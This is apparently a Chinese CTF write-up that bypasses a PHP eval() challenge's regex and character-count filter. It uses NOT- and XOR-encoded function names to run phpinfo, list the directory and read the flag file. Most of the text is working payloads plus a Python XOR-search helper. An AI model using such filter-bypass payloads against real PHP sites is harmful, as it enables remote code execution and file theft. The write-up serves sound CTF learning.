<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
打开界面有两个if
首先要绕过第一个正则,限制了 oxoo-空格的字符 和数字,还有一些字母
然后第二个就是字符的种类不能超过13个
首先第一个用取反,传入?_=(~%8F%97%8F%96%91%99%90)();没反应
这里有一个点,取反=异或%FF
((%8F%97%8F%96%91%99%90)^(%FF%FF%FF%FF%FF%FF%FF))();
这里在注意外面需要加一层括号,(())();
是一样的效果,然后发现出现phpinfo()
<?php
echo urlencode(~"phpinfo");
((%8F%97%8F%96%91%99%90)^(%FF%FF%FF%FF%FF%FF%FF))();
出现phpinfo环境,然后我们利用print_r(scandir(.));显示当前目录,开始构造
((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
发现太长了然后
<?php
$_="((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));";
echo strlen(count_chars($_,3));
echo "\n";
返回结果是16,我们只要<=13就可以,所以我们需要用已有的字母来构造其中三个字母
print_r 这里ntr用其他字母代替
(scandir(.));
str = 'acdips'
target = 'ntr'
for m in target:
for a in str:
for b in str:
for c in str:
if ord(a)^ord(b)^ord(c) == ord(m):
print("{} = {}^{}^{}".format(m,a,b,c))
//((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
n = c^d^i %91=%9C^%9B^%8D
t = c^d^s %8B=%9C^%9B^%8C
r = a^c^p %8D=%9E^%9C^%8F
print_r=(%8F%8D%96%9C%9C%A0%9E)^(%FF%FF%FF%9B%9B%FF%8C)^(%FF%FF%FF%8D%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF);
scandir=
(%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%8D%FF%FF%8F)^%FF%FF%FF%FF%FF%FF%FF);
((%8F%8D%96%9C%9C%A0%9E)^(%FF%FF%FF%9B%9B%FF%8C)^(%FF%FF%FF%8D%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%8D%FF%FF%8F)^%FF%FF%FF%FF%FF%FF%FF)) ((%D1)^(%FF)));
上面print的r忘了换,大概思路就这样直接是下面这个
((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
然后我们就想获得数组的mowei,show_source(end(scandir(.));
或者readfile(end(scandir(.)))相同的道理
((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));
获得flag